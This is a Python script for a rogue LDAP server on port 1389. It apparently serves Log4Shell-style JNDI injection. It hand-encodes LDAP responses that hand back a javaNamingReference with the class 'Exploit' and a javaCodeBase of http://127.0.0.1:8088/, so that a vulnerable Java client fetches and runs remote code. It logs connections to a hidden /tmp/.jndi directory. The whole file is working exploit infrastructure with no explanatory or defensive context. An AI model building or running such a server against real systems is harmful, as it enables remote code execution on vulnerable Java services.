import socket

LOG = open('/tmp/.jndi/ldap.log', 'a', buffering=1)

def log(x):
    LOG.write(x + '\n')

def ber_len(n):
    if n < 128:
        return bytes([n])
    b = n.to_bytes((n.bit_length() + 7) // 8, 'big')
    return bytes([0x80 | len(b)]) + b

def seq(*items):
    body = b''.join(items)
    return b'\x30' + ber_len(len(body)) + body

def app(tag, body):
    return bytes([tag]) + ber_len(len(body)) + body

def octstr(s):
    b = s.encode() if isinstance(s, str) else s
    return b'\x04' + ber_len(len(b)) + b

def val(v):
    return app(0x31, octstr(v))

def attr(k, v):
    return app(0x30, octstr(k) + val(v))

dn = b'Exploit'
attrs = [
    attr('objectClass', 'javaNamingReference'),
    attr('javaClassName', 'Exploit'),
    attr('javaFactory', 'Exploit'),
    attr('javaCodeBase', 'http://127.0.0.1:8088/'),
]
attrseq = seq(*attrs)
entry = app(0x64, octstr(dn) + attrseq)
msg1 = seq(b'\x02\x01\x02', entry)
done_body = b'\x0a\x01\x00\x04\x00\x04\x00'
done = app(0x65, done_body)
msg2 = seq(b'\x02\x01\x02', done)

log('entry_hex: ' + msg1.hex())

bindresp = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00'

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('127.0.0.1', 1389))
srv.listen(5)
log('listening')
while True:
    try:
        c, a = srv.accept()
    except Exception:
        continue
    c.settimeout(30)
    log('conn')
    try:
        data = c.recv(8192)
        log('recv1: ' + data.hex())
        c.send(bindresp)
        data = c.recv(8192)
        log('recv2: ' + data.hex())
        c.send(msg1)
        c.send(msg2)
        try:
            data = c.recv(8192)
            log('recv3: ' + data.hex())
        except Exception:
            pass
    except Exception as e:
        log('err: ' + str(e))
    finally:
        try:
            c.close()
        except Exception:
            pass